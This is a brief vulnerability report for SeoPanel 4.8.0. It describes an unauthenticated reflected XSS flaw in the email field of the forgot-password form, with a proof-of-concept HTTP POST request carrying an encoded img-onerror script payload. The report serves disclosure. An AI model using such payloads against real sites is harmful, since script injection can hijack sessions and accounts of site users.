SeoPanel is vulnerable to reflect XSS due to lack of filtration of user-supplied [NO Autenticated User]
Environment

SeoPanel version: 4.8.0 Last Version

Parameter:
name="email"

PoC

 

POST /seo/seopanel/login.php?sec=forgot HTTP/1.1
Host: xxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8
Accept-Language: it-IT,it;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 114
Origin: xxx
DNT: 1
Connection: close
Referer: xxx
Cookie: hidenews=1; PHPSESSID=xxx
Upgrade-Insecure-Requests: 1

sec=requestpass&email=test%40test.ttv3e5i%22%3e%3cimg%20src%3da%20onerror%3dalert("Xss")%3egcuak&code=OVJDT&login=